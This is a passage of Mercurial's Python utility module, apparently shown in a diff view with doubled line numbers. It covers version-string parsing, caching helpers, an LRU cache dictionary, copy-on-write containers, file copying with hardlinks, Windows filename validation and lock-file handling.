1001 1001 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1002 1002 returned values:
1003 1003
1004 1004 >>> v = b'3.6.1+190-df9b73d2d444'
1005 1005 >>> versiontuple(v, 2)
1006 1006 (3, 6)
1007 1007 >>> versiontuple(v, 3)
1008 1008 (3, 6, 1)
1009 1009 >>> versiontuple(v, 4)
1010 1010 (3, 6, 1, '190-df9b73d2d444')
1011 1011
1012 1012 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1013 1013 (3, 6, 1, '190-df9b73d2d444+20151118')
1014 1014
1015 1015 >>> v = b'3.6'
1016 1016 >>> versiontuple(v, 2)
1017 1017 (3, 6)
1018 1018 >>> versiontuple(v, 3)
1019 1019 (3, 6, None)
1020 1020 >>> versiontuple(v, 4)
1021 1021 (3, 6, None, None)
1022 1022
1023 1023 >>> v = b'3.9-rc'
1024 1024 >>> versiontuple(v, 2)
1025 1025 (3, 9)
1026 1026 >>> versiontuple(v, 3)
1027 1027 (3, 9, None)
1028 1028 >>> versiontuple(v, 4)
1029 1029 (3, 9, None, 'rc')
1030 1030
1031 1031 >>> v = b'3.9-rc+2-02a8fea4289b'
1032 1032 >>> versiontuple(v, 2)
1033 1033 (3, 9)
1034 1034 >>> versiontuple(v, 3)
1035 1035 (3, 9, None)
1036 1036 >>> versiontuple(v, 4)
1037 1037 (3, 9, None, 'rc+2-02a8fea4289b')
1038 1038
1039 1039 >>> versiontuple(b'4.6rc0')
1040 1040 (4, 6, None, 'rc0')
1041 1041 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1042 1042 (4, 6, None, 'rc0+12-425d55e54f98')
1043 1043 >>> versiontuple(b'.1.2.3')
1044 1044 (None, None, None, '.1.2.3')
1045 1045 >>> versiontuple(b'12.34..5')
1046 1046 (12, 34, None, '..5')
1047 1047 >>> versiontuple(b'1.2.3.4.5.6')
1048 1048 (1, 2, 3, '.4.5.6')
1049 1049 """
1050 1050 if not v:
1051 1051 v = version()
1052 1052 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1053 1053 if not m:
1054 1054 vparts, extra = '', v
1055 1055 elif m.group(2):
1056 1056 vparts, extra = m.groups()
1057 1057 else:
1058 1058 vparts, extra = m.group(1), None
1059 1059
1060 1060 vints = []
1061 1061 for i in vparts.split('.'):
1062 1062 try:
1063 1063 vints.append(int(i))
1064 1064 except ValueError:
1065 1065 break
1066 1066 # (3, 6) -> (3, 6, None)
1067 1067 while len(vints) < 3:
1068 1068 vints.append(None)
1069 1069
1070 1070 if n == 2:
1071 1071 return (vints[0], vints[1])
1072 1072 if n == 3:
1073 1073 return (vints[0], vints[1], vints[2])
1074 1074 if n == 4:
1075 1075 return (vints[0], vints[1], vints[2], extra)
1076 1076
1077 1077 def cachefunc(func):
1078 1078 '''cache the result of function calls'''
1079 1079 # XXX doesn't handle keywords args
1080 1080 if func.__code__.co_argcount == 0:
1081 1081 cache = []
1082 1082 def f():
1083 1083 if len(cache) == 0:
1084 1084 cache.append(func())
1085 1085 return cache[0]
1086 1086 return f
1087 1087 cache = {}
1088 1088 if func.__code__.co_argcount == 1:
1089 1089 # we gain a small amount of time because
1090 1090 # we don't need to pack/unpack the list
1091 1091 def f(arg):
1092 1092 if arg not in cache:
1093 1093 cache[arg] = func(arg)
1094 1094 return cache[arg]
1095 1095 else:
1096 1096 def f(*args):
1097 1097 if args not in cache:
1098 1098 cache[args] = func(*args)
1099 1099 return cache[args]
1100 1100
1101 1101 return f
1102 1102
1103 1103 class cow(object):
1104 1104 """helper class to make copy-on-write easier
1105 1105
1106 1106 Call preparewrite before doing any writes.
1107 1107 """
1108 1108
1109 1109 def preparewrite(self):
1110 1110 """call this before writes, return self or a copied new object"""
1111 1111 if getattr(self, '_copied', 0):
1112 1112 self._copied -= 1
1113 1113 return self.__class__(self)
1114 1114 return self
1115 1115
1116 1116 def copy(self):
1117 1117 """always do a cheap copy"""
1118 1118 self._copied = getattr(self, '_copied', 0) + 1
1119 1119 return self
1120 1120
1121 1121 class sortdict(collections.OrderedDict):
1122 1122 '''a simple sorted dictionary
1123 1123
1124 1124 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1125 1125 >>> d2 = d1.copy()
1126 1126 >>> d2
1127 1127 sortdict([('a', 0), ('b', 1)])
1128 1128 >>> d2.update([(b'a', 2)])
1129 1129 >>> list(d2.keys()) # should still be in last-set order
1130 1130 ['b', 'a']
1131 1131 '''
1132 1132
1133 1133 def __setitem__(self, key, value):
1134 1134 if key in self:
1135 1135 del self[key]
1136 1136 super(sortdict, self).__setitem__(key, value)
1137 1137
1138 1138 if pycompat.ispypy:
1139 1139 # __setitem__() isn't called as of PyPy 5.8.0
1140 1140 def update(self, src):
1141 1141 if isinstance(src, dict):
1142 1142 src = src.iteritems()
1143 1143 for k, v in src:
1144 1144 self[k] = v
1145 1145
1146 1146 class cowdict(cow, dict):
1147 1147 """copy-on-write dict
1148 1148
1149 1149 Be sure to call d = d.preparewrite() before writing to d.
1150 1150
1151 1151 >>> a = cowdict()
1152 1152 >>> a is a.preparewrite()
1153 1153 True
1154 1154 >>> b = a.copy()
1155 1155 >>> b is a
1156 1156 True
1157 1157 >>> c = b.copy()
1158 1158 >>> c is a
1159 1159 True
1160 1160 >>> a = a.preparewrite()
1161 1161 >>> b is a
1162 1162 False
1163 1163 >>> a is a.preparewrite()
1164 1164 True
1165 1165 >>> c = c.preparewrite()
1166 1166 >>> b is c
1167 1167 False
1168 1168 >>> b is b.preparewrite()
1169 1169 True
1170 1170 """
1171 1171
1172 1172 class cowsortdict(cow, sortdict):
1173 1173 """copy-on-write sortdict
1174 1174
1175 1175 Be sure to call d = d.preparewrite() before writing to d.
1176 1176 """
1177 1177
1178 1178 class transactional(object):
1179 1179 """Base class for making a transactional type into a context manager."""
1180 1180 __metaclass__ = abc.ABCMeta
1181 1181
1182 1182 @abc.abstractmethod
1183 1183 def close(self):
1184 1184 """Successfully closes the transaction."""
1185 1185
1186 1186 @abc.abstractmethod
1187 1187 def release(self):
1188 1188 """Marks the end of the transaction.
1189 1189
1190 1190 If the transaction has not been closed, it will be aborted.
1191 1191 """
1192 1192
1193 1193 def __enter__(self):
1194 1194 return self
1195 1195
1196 1196 def __exit__(self, exc_type, exc_val, exc_tb):
1197 1197 try:
1198 1198 if exc_type is None:
1199 1199 self.close()
1200 1200 finally:
1201 1201 self.release()
1202 1202
1203 1203 @contextlib.contextmanager
1204 1204 def acceptintervention(tr=None):
1205 1205 """A context manager that closes the transaction on InterventionRequired
1206 1206
1207 1207 If no transaction was provided, this simply runs the body and returns
1208 1208 """
1209 1209 if not tr:
1210 1210 yield
1211 1211 return
1212 1212 try:
1213 1213 yield
1214 1214 tr.close()
1215 1215 except error.InterventionRequired:
1216 1216 tr.close()
1217 1217 raise
1218 1218 finally:
1219 1219 tr.release()
1220 1220
1221 1221 @contextlib.contextmanager
1222 1222 def nullcontextmanager():
1223 1223 yield
1224 1224
1225 1225 class _lrucachenode(object):
1226 1226 """A node in a doubly linked list.
1227 1227
1228 1228 Holds a reference to nodes on either side as well as a key-value
1229 1229 pair for the dictionary entry.
1230 1230 """
1231 1231 __slots__ = (u'next', u'prev', u'key', u'value')
1232 1232
1233 1233 def __init__(self):
1234 1234 self.next = None
1235 1235 self.prev = None
1236 1236
1237 1237 self.key = _notset
1238 1238 self.value = None
1239 1239
1240 1240 def markempty(self):
1241 1241 """Mark the node as emptied."""
1242 1242 self.key = _notset
1243 1243
1244 1244 class lrucachedict(object):
1245 1245 """Dict that caches most recent accesses and sets.
1246 1246
1247 1247 The dict consists of an actual backing dict - indexed by original
1248 1248 key - and a doubly linked circular list defining the order of entries in
1249 1249 the cache.
1250 1250
1251 1251 The head node is the newest entry in the cache. If the cache is full,
1252 1252 we recycle head.prev and make it the new head. Cache accesses result in
1253 1253 the node being moved to before the existing head and being marked as the
1254 1254 new head node.
1255 1255 """
1256 1256 def __init__(self, max):
1257 1257 self._cache = {}
1258 1258
1259 1259 self._head = head = _lrucachenode()
1260 1260 head.prev = head
1261 1261 head.next = head
1262 1262 self._size = 1
1263 1263 self._capacity = max
1264 1264
1265 1265 def __len__(self):
1266 1266 return len(self._cache)
1267 1267
1268 1268 def __contains__(self, k):
1269 1269 return k in self._cache
1270 1270
1271 1271 def __iter__(self):
1272 1272 # We don't have to iterate in cache order, but why not.
1273 1273 n = self._head
1274 1274 for i in range(len(self._cache)):
1275 1275 yield n.key
1276 1276 n = n.next
1277 1277
1278 1278 def __getitem__(self, k):
1279 1279 node = self._cache[k]
1280 1280 self._movetohead(node)
1281 1281 return node.value
1282 1282
1283 1283 def __setitem__(self, k, v):
1284 1284 node = self._cache.get(k)
1285 1285 # Replace existing value and mark as newest.
1286 1286 if node is not None:
1287 1287 node.value = v
1288 1288 self._movetohead(node)
1289 1289 return
1290 1290
1291 1291 if self._size < self._capacity:
1292 1292 node = self._addcapacity()
1293 1293 else:
1294 1294 # Grab the last/oldest item.
1295 1295 node = self._head.prev
1296 1296
1297 1297 # At capacity. Kill the old entry.
1298 1298 if node.key is not _notset:
1299 1299 del self._cache[node.key]
1300 1300
1301 1301 node.key = k
1302 1302 node.value = v
1303 1303 self._cache[k] = node
1304 1304 # And mark it as newest entry. No need to adjust order since it
1305 1305 # is already self._head.prev.
1306 1306 self._head = node
1307 1307
1308 1308 def __delitem__(self, k):
1309 1309 node = self._cache.pop(k)
1310 1310 node.markempty()
1311 1311
1312 1312 # Temporarily mark as newest item before re-adjusting head to make
1313 1313 # this node the oldest item.
1314 1314 self._movetohead(node)
1315 1315 self._head = node.next
1316 1316
1317 1317 # Additional dict methods.
1318 1318
1319 1319 def get(self, k, default=None):
1320 1320 try:
1321 1321 return self._cache[k].value
1322 1322 except KeyError:
1323 1323 return default
1324 1324
1325 1325 def clear(self):
1326 1326 n = self._head
1327 1327 while n.key is not _notset:
1328 1328 n.markempty()
1329 1329 n = n.next
1330 1330
1331 1331 self._cache.clear()
1332 1332
1333 1333 def copy(self):
1334 1334 result = lrucachedict(self._capacity)
1335 1335 n = self._head.prev
1336 1336 # Iterate in oldest-to-newest order, so the copy has the right ordering
1337 1337 for i in range(len(self._cache)):
1338 1338 result[n.key] = n.value
1339 1339 n = n.prev
1340 1340 return result
1341 1341
1342 1342 def _movetohead(self, node):
1343 1343 """Mark a node as the newest, making it the new head.
1344 1344
1345 1345 When a node is accessed, it becomes the freshest entry in the LRU
1346 1346 list, which is denoted by self._head.
1347 1347
1348 1348 Visually, let's make ``N`` the new head node (* denotes head):
1349 1349
1350 1350 previous/oldest <-> head <-> next/next newest
1351 1351
1352 1352 ----<->--- A* ---<->-----
1353 1353 | |
1354 1354 E <-> D <-> N <-> C <-> B
1355 1355
1356 1356 To:
1357 1357
1358 1358 ----<->--- N* ---<->-----
1359 1359 | |
1360 1360 E <-> D <-> C <-> B <-> A
1361 1361
1362 1362 This requires the following moves:
1363 1363
1364 1364 C.next = D (node.prev.next = node.next)
1365 1365 D.prev = C (node.next.prev = node.prev)
1366 1366 E.next = N (head.prev.next = node)
1367 1367 N.prev = E (node.prev = head.prev)
1368 1368 N.next = A (node.next = head)
1369 1369 A.prev = N (head.prev = node)
1370 1370 """
1371 1371 head = self._head
1372 1372 # C.next = D
1373 1373 node.prev.next = node.next
1374 1374 # D.prev = C
1375 1375 node.next.prev = node.prev
1376 1376 # N.prev = E
1377 1377 node.prev = head.prev
1378 1378 # N.next = A
1379 1379 # It is tempting to do just "head" here, however if node is
1380 1380 # adjacent to head, this will do bad things.
1381 1381 node.next = head.prev.next
1382 1382 # E.next = N
1383 1383 node.next.prev = node
1384 1384 # A.prev = N
1385 1385 node.prev.next = node
1386 1386
1387 1387 self._head = node
1388 1388
1389 1389 def _addcapacity(self):
1390 1390 """Add a node to the circular linked list.
1391 1391
1392 1392 The new node is inserted before the head node.
1393 1393 """
1394 1394 head = self._head
1395 1395 node = _lrucachenode()
1396 1396 head.prev.next = node
1397 1397 node.prev = head.prev
1398 1398 node.next = head
1399 1399 head.prev = node
1400 1400 self._size += 1
1401 1401 return node
1402 1402
1403 1403 def lrucachefunc(func):
1404 1404 '''cache most recent results of function calls'''
1405 1405 cache = {}
1406 1406 order = collections.deque()
1407 1407 if func.__code__.co_argcount == 1:
1408 1408 def f(arg):
1409 1409 if arg not in cache:
1410 1410 if len(cache) > 20:
1411 1411 del cache[order.popleft()]
1412 1412 cache[arg] = func(arg)
1413 1413 else:
1414 1414 order.remove(arg)
1415 1415 order.append(arg)
1416 1416 return cache[arg]
1417 1417 else:
1418 1418 def f(*args):
1419 1419 if args not in cache:
1420 1420 if len(cache) > 20:
1421 1421 del cache[order.popleft()]
1422 1422 cache[args] = func(*args)
1423 1423 else:
1424 1424 order.remove(args)
1425 1425 order.append(args)
1426 1426 return cache[args]
1427 1427
1428 1428 return f
1429 1429
1430 1430 class propertycache(object):
1431 1431 def __init__(self, func):
1432 1432 self.func = func
1433 1433 self.name = func.__name__
1434 1434 def __get__(self, obj, type=None):
1435 1435 result = self.func(obj)
1436 1436 self.cachevalue(obj, result)
1437 1437 return result
1438 1438
1439 1439 def cachevalue(self, obj, value):
1440 1440 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1441 1441 obj.__dict__[self.name] = value
1442 1442
1443 1443 def clearcachedproperty(obj, prop):
1444 1444 '''clear a cached property value, if one has been set'''
1445 1445 if prop in obj.__dict__:
1446 1446 del obj.__dict__[prop]
1447 1447
1448 1448 def increasingchunks(source, min=1024, max=65536):
1449 1449 '''return no less than min bytes per chunk while data remains,
1450 1450 doubling min after each chunk until it reaches max'''
1451 1451 def log2(x):
1452 1452 if not x:
1453 1453 return 0
1454 1454 i = 0
1455 1455 while x:
1456 1456 x >>= 1
1457 1457 i += 1
1458 1458 return i - 1
1459 1459
1460 1460 buf = []
1461 1461 blen = 0
1462 1462 for chunk in source:
1463 1463 buf.append(chunk)
1464 1464 blen += len(chunk)
1465 1465 if blen >= min:
1466 1466 if min < max:
1467 1467 min = min << 1
1468 1468 nmin = 1 << log2(blen)
1469 1469 if nmin > min:
1470 1470 min = nmin
1471 1471 if min > max:
1472 1472 min = max
1473 1473 yield ''.join(buf)
1474 1474 blen = 0
1475 1475 buf = []
1476 1476 if buf:
1477 1477 yield ''.join(buf)
1478 1478
1479 1479 def always(fn):
1480 1480 return True
1481 1481
1482 1482 def never(fn):
1483 1483 return False
1484 1484
1485 1485 def nogc(func):
1486 1486 """disable garbage collector
1487 1487
1488 1488 Python's garbage collector triggers a GC each time a certain number of
1489 1489 container objects (the number being defined by gc.get_threshold()) are
1490 1490 allocated even when marked not to be tracked by the collector. Tracking has
1491 1491 no effect on when GCs are triggered, only on what objects the GC looks
1492 1492 into. As a workaround, disable GC while building complex (huge)
1493 1493 containers.
1494 1494
1495 1495 This garbage collector issue have been fixed in 2.7. But it still affect
1496 1496 CPython's performance.
1497 1497 """
1498 1498 def wrapper(*args, **kwargs):
1499 1499 gcenabled = gc.isenabled()
1500 1500 gc.disable()
1501 1501 try:
1502 1502 return func(*args, **kwargs)
1503 1503 finally:
1504 1504 if gcenabled:
1505 1505 gc.enable()
1506 1506 return wrapper
1507 1507
1508 1508 if pycompat.ispypy:
1509 1509 # PyPy runs slower with gc disabled
1510 1510 nogc = lambda x: x
1511 1511
1512 1512 def pathto(root, n1, n2):
1513 1513 '''return the relative path from one place to another.
1514 1514 root should use os.sep to separate directories
1515 1515 n1 should use os.sep to separate directories
1516 1516 n2 should use "/" to separate directories
1517 1517 returns an os.sep-separated path.
1518 1518
1519 1519 If n1 is a relative path, it's assumed it's
1520 1520 relative to root.
1521 1521 n2 should always be relative to root.
1522 1522 '''
1523 1523 if not n1:
1524 1524 return localpath(n2)
1525 1525 if os.path.isabs(n1):
1526 1526 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1527 1527 return os.path.join(root, localpath(n2))
1528 1528 n2 = '/'.join((pconvert(root), n2))
1529 1529 a, b = splitpath(n1), n2.split('/')
1530 1530 a.reverse()
1531 1531 b.reverse()
1532 1532 while a and b and a[-1] == b[-1]:
1533 1533 a.pop()
1534 1534 b.pop()
1535 1535 b.reverse()
1536 1536 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1537 1537
1538 1538 # the location of data files matching the source code
1539 1539 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1540 1540 # executable version (py2exe) doesn't support __file__
1541 1541 datapath = os.path.dirname(pycompat.sysexecutable)
1542 1542 else:
1543 1543 datapath = os.path.dirname(pycompat.fsencode(__file__))
1544 1544
1545 1545 i18n.setdatapath(datapath)
1546 1546
1547 1547 def checksignature(func):
1548 1548 '''wrap a function with code to check for calling errors'''
1549 1549 def check(*args, **kwargs):
1550 1550 try:
1551 1551 return func(*args, **kwargs)
1552 1552 except TypeError:
1553 1553 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1554 1554 raise error.SignatureError
1555 1555 raise
1556 1556
1557 1557 return check
1558 1558
1559 1559 # a whilelist of known filesystems where hardlink works reliably
1560 1560 _hardlinkfswhitelist = {
1561 1561 'apfs',
1562 1562 'btrfs',
1563 1563 'ext2',
1564 1564 'ext3',
1565 1565 'ext4',
1566 1566 'hfs',
1567 1567 'jfs',
1568 1568 'NTFS',
1569 1569 'reiserfs',
1570 1570 'tmpfs',
1571 1571 'ufs',
1572 1572 'xfs',
1573 1573 'zfs',
1574 1574 }
1575 1575
1576 1576 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1577 1577 '''copy a file, preserving mode and optionally other stat info like
1578 1578 atime/mtime
1579 1579
1580 1580 checkambig argument is used with filestat, and is useful only if
1581 1581 destination file is guarded by any lock (e.g. repo.lock or
1582 1582 repo.wlock).
1583 1583
1584 1584 copystat and checkambig should be exclusive.
1585 1585 '''
1586 1586 assert not (copystat and checkambig)
1587 1587 oldstat = None
1588 1588 if os.path.lexists(dest):
1589 1589 if checkambig:
1590 1590 oldstat = checkambig and filestat.frompath(dest)
1591 1591 unlink(dest)
1592 1592 if hardlink:
1593 1593 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1594 1594 # unless we are confident that dest is on a whitelisted filesystem.
1595 1595 try:
1596 1596 fstype = getfstype(os.path.dirname(dest))
1597 1597 except OSError:
1598 1598 fstype = None
1599 1599 if fstype not in _hardlinkfswhitelist:
1600 1600 hardlink = False
1601 1601 if hardlink:
1602 1602 try:
1603 1603 oslink(src, dest)
1604 1604 return
1605 1605 except (IOError, OSError):
1606 1606 pass # fall back to normal copy
1607 1607 if os.path.islink(src):
1608 1608 os.symlink(os.readlink(src), dest)
1609 1609 # copytime is ignored for symlinks, but in general copytime isn't needed
1610 1610 # for them anyway
1611 1611 else:
1612 1612 try:
1613 1613 shutil.copyfile(src, dest)
1614 1614 if copystat:
1615 1615 # copystat also copies mode
1616 1616 shutil.copystat(src, dest)
1617 1617 else:
1618 1618 shutil.copymode(src, dest)
1619 1619 if oldstat and oldstat.stat:
1620 1620 newstat = filestat.frompath(dest)
1621 1621 if newstat.isambig(oldstat):
1622 1622 # stat of copied file is ambiguous to original one
1623 1623 advanced = (
1624 1624 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1625 1625 os.utime(dest, (advanced, advanced))
1626 1626 except shutil.Error as inst:
1627 1627 raise error.Abort(str(inst))
1628 1628
1629 1629 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1630 1630 """Copy a directory tree using hardlinks if possible."""
1631 1631 num = 0
1632 1632
1633 1633 gettopic = lambda: hardlink and _('linking') or _('copying')
1634 1634
1635 1635 if os.path.isdir(src):
1636 1636 if hardlink is None:
1637 1637 hardlink = (os.stat(src).st_dev ==
1638 1638 os.stat(os.path.dirname(dst)).st_dev)
1639 1639 topic = gettopic()
1640 1640 os.mkdir(dst)
1641 1641 for name, kind in listdir(src):
1642 1642 srcname = os.path.join(src, name)
1643 1643 dstname = os.path.join(dst, name)
1644 1644 def nprog(t, pos):
1645 1645 if pos is not None:
1646 1646 return progress(t, pos + num)
1647 1647 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1648 1648 num += n
1649 1649 else:
1650 1650 if hardlink is None:
1651 1651 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1652 1652 os.stat(os.path.dirname(dst)).st_dev)
1653 1653 topic = gettopic()
1654 1654
1655 1655 if hardlink:
1656 1656 try:
1657 1657 oslink(src, dst)
1658 1658 except (IOError, OSError):
1659 1659 hardlink = False
1660 1660 shutil.copy(src, dst)
1661 1661 else:
1662 1662 shutil.copy(src, dst)
1663 1663 num += 1
1664 1664 progress(topic, num)
1665 1665 progress(topic, None)
1666 1666
1667 1667 return hardlink, num
1668 1668
1669 1669 _winreservednames = {
1670 1670 'con', 'prn', 'aux', 'nul',
1671 1671 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1672 1672 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1673 1673 }
1674 1674 _winreservedchars = ':*?"<>|'
1675 1675 def checkwinfilename(path):
1676 1676 r'''Check that the base-relative path is a valid filename on Windows.
1677 1677 Returns None if the path is ok, or a UI string describing the problem.
1678 1678
1679 1679 >>> checkwinfilename(b"just/a/normal/path")
1680 1680 >>> checkwinfilename(b"foo/bar/con.xml")
1681 1681 "filename contains 'con', which is reserved on Windows"
1682 1682 >>> checkwinfilename(b"foo/con.xml/bar")
1683 1683 "filename contains 'con', which is reserved on Windows"
1684 1684 >>> checkwinfilename(b"foo/bar/xml.con")
1685 1685 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1686 1686 "filename contains 'AUX', which is reserved on Windows"
1687 1687 >>> checkwinfilename(b"foo/bar/bla:.txt")
1688 1688 "filename contains ':', which is reserved on Windows"
1689 1689 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1690 1690 "filename contains '\\x07', which is invalid on Windows"
1691 1691 >>> checkwinfilename(b"foo/bar/bla ")
1692 1692 "filename ends with ' ', which is not allowed on Windows"
1693 1693 >>> checkwinfilename(b"../bar")
1694 1694 >>> checkwinfilename(b"foo\\")
1695 1695 "filename ends with '\\', which is invalid on Windows"
1696 1696 >>> checkwinfilename(b"foo\\/bar")
1697 1697 "directory name ends with '\\', which is invalid on Windows"
1698 1698 '''
1699 1699 if path.endswith('\\'):
1700 1700 return _("filename ends with '\\', which is invalid on Windows")
1701 1701 if '\\/' in path:
1702 1702 return _("directory name ends with '\\', which is invalid on Windows")
1703 1703 for n in path.replace('\\', '/').split('/'):
1704 1704 if not n:
1705 1705 continue
1706 1706 for c in _filenamebytestr(n):
1707 1707 if c in _winreservedchars:
1708 1708 return _("filename contains '%s', which is reserved "
1709 1709 "on Windows") % c
1710 1710 if ord(c) <= 31:
1711 1711 return _("filename contains '%s', which is invalid "
1712 1712 "on Windows") % stringutil.escapestr(c)
1713 1713 base = n.split('.')[0]
1714 1714 if base and base.lower() in _winreservednames:
1715 1715 return _("filename contains '%s', which is reserved "
1716 1716 "on Windows") % base
1717 1717 t = n[-1:]
1718 1718 if t in '. ' and n not in '..':
1719 1719 return _("filename ends with '%s', which is not allowed "
1720 1720 "on Windows") % t
1721 1721
1722 1722 if pycompat.iswindows:
1723 1723 checkosfilename = checkwinfilename
1724 1724 timer = time.clock
1725 1725 else:
1726 1726 checkosfilename = platform.checkosfilename
1727 1727 timer = time.time
1728 1728
1729 1729 if safehasattr(time, "perf_counter"):
1730 1730 timer = time.perf_counter
1731 1731
1732 1732 def makelock(info, pathname):
1733 1733 """Create a lock file atomically if possible
1734 1734
1735 1735 This may leave a stale lock file if symlink isn't supported and signal
1736 1736 interrupt is enabled.
1737 1737 """
1738 1738 try:
1739 1739 return os.symlink(info, pathname)
1740 1740 except OSError as why:
1741 1741 if why.errno == errno.EEXIST:
1742 1742 raise
1743 1743 except AttributeError: # no symlink in os
1744 1744 pass
1745 1745
1746 1746 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1747 1747 ld = os.open(pathname, flags)
1748 1748 os.write(ld, info)
1749 1749 os.close(ld)
1750 1750
1751 1751 def readlock(pathname):
1752 1752 try:
1753 1753 return os.readlink(pathname)
1754 1754 except OSError as why:
1755 1755 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1756 1756 raise
1757 1757 except AttributeError: # no symlink in os
1758 1758 pass
1759 1759 fp = posixfile(pathname, 'rb')
1760 1760 r = fp.read()
1761 1761 fp.close()
1762 1762 return r
1763 1763
1764 1764 def fstat(fp):
1765 1765 '''stat file object that may not have fileno method.'''
1766 1766 try:
1767 1767 return os.fstat(fp.fileno())
1768 1768 except AttributeError:
1769 1769 return os.stat(fp.name)
1770 1770
1771 1771 # File system features
1772 1772
1773 1773 def fscasesensitive(path):
1774 1774 """
1775 1775 Return true if the given path is on a case-sensitive filesystem
1776 1776
1777 1777 Requires a path (like /foo/.hg) ending with a foldable final
1778 1778 directory component.
1779 1779 """
1780 1780 s1 = os.lstat(path)
1781 1781 d, b = os.path.split(path)
1782 1782 b2 = b.upper()
1783 1783 if b == b2:
1784 1784 b2 = b.lower()
1785 1785 if b == b2:
1786 1786 return True # no evidence against case sensitivity
1787 1787 p2 = os.path.join(d, b2)
1788 1788 try:
1789 1789 s2 = os.lstat(p2)
1790 1790 if s2 == s1:
1791 1791 return False
1792 1792 return True
1793 1793 except OSError:
1794 1794 return True
1795 1795
1796 1796 try:
1797 1797 import re2
1798 1798 _re2 = None
1799 1799 except ImportError:
1800 1800 _re2 = False
1801 1801
1802 1802 class _re(object):
1803 1803 def _checkre2(self):
1804 1804 global _re2
1805 1805 try:
1806 1806 # check if match works, see issue3964
1807 1807 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1808 1808 except ImportError:
1809 1809 _re2 = False
1810 1810
1811 1811 def compile(self, pat, flags=0):
1812 1812 '''Compile a regular expression, using re2 if possible
1813 1813
1814 1814 For best performance, use only re2-compatible regexp features. The
1815 1815 only flags from the re module that are re2-compatible are
1816 1816 IGNORECASE and MULTILINE.'''
1817 1817 if _re2 is None:
1818 1818 self._checkre2()
1819 1819 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1820 1820 if flags & remod.IGNORECASE:
1821 1821 pat = '(?i)' + pat
1822 1822 if flags & remod.MULTILINE:
1823 1823 pat = '(?m)' + pat
1824 1824 try:
1825 1825 return re2.compile(pat)
1826 1826 except re2.error:
1827 1827 pass
1828 1828 return remod.compile(pat, flags)
1829 1829
1830 1830 @propertycache
1831 1831 def escape(self):
1832 1832 '''Return the version of escape corresponding to self.compile.
1833 1833
1834 1834 This is imperfect because whether re2 or re is used for a particular
1835 1835 function depends on the flags, etc, but it's the best we can do.
1836 1836 '''
1837 1837 global _re2
1838 1838 if _re2 is None:
1839 1839 self._checkre2()
1840 1840 if _re2:
1841 1841 return re2.escape
1842 1842 else:
1843 1843 return remod.escape
1844 1844
1845 1845 re = _re()
1846 1846
1847 1847 _fspathcache = {}
1848 1848 def fspath(name, root):
1849 1849 '''Get name in the case stored in the filesystem
1850 1850
1851 1851 The name should be relative to root, and be normcase-ed for efficiency.
1852 1852
1853 1853 Note that this function is unnecessary, and should not be
1854 1854 called, for case-sensitive filesystems (simply because it's expensive).
1855 1855
1856 1856 The root should be normcase-ed, too.
1857 1857 '''
1858 1858 def _makefspathcacheentry(dir):
1859 1859 return dict((normcase(n), n) for n in os.listdir(dir))
1860 1860
1861 1861 seps = pycompat.ossep
1862 1862 if pycompat.osaltsep:
1863 1863 seps = seps + pycompat.osaltsep
1864 1864 # Protect backslashes. This gets silly very quickly.
1865 1865 seps.replace('\\','\\\\')
1866 1866 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1867 1867 dir = os.path.normpath(root)
1868 1868 result = []
1869 1869 for part, sep in pattern.findall(name):
1870 1870 if sep:
1871 1871 result.append(sep)
1872 1872 continue
1873 1873
1874 1874 if dir not in _fspathcache:
1875 1875 _fspathcache[dir] = _makefspathcacheentry(dir)
1876 1876 contents = _fspathcache[dir]
1877 1877
1878 1878 found = contents.get(part)
1879 1879 if not found:
1880 1880 # retry "once per directory" per "dirstate.walk" which
1881 1881 # may take place for each patches of "hg qpush", for example
1882 1882 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1883 1883 found = contents.get(part)
1884 1884
1885 1885 result.append(found or part)
1886 1886 dir = os.path.join(dir, part)
1887 1887
1888 1888 return ''.join(result)
1889 1889
1890 1890 def checknlink(testfile):
1891 1891 '''check whether hardlink count reporting works properly'''
1892 1892
1893 1893 # testfile may be open, so we need a separate file for checking to
1894 1894 # work around issue2543 (or testfile may get lost on Samba shares)
1895 1895 f1, f2, fp = None, None, None
1896 1896 try:
1897 1897 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1898 1898 suffix='1~', dir=os.path.dirname(testfile))
1899 1899 os.close(fd)
1900 1900 f2 = '%s2~' % f1[:-2]
1901 1901
1902 1902 oslink(f1, f2)
1903 1903 # nlinks() may behave differently for files on Windows shares if
1904 1904 # the file is open.
1905 1905 fp = posixfile(f2)
1906 1906 return nlinks(f2) > 1
1907 1907 except OSError:
1908 1908 return False
1909 1909 finally:
1910 1910 if fp is not None:
1911 1911 fp.close()
1912 1912 for f in (f1, f2):
1913 1913 try:
1914 1914 if f is not None:
1915 1915 os.unlink(f)
1916 1916 except OSError:
1917 1917 pass
1918 1918
1919 1919 def endswithsep(path):
1920 1920 '''Check path ends with os.sep or os.altsep.'''
1921 1921 return (path.endswith(pycompat.ossep)
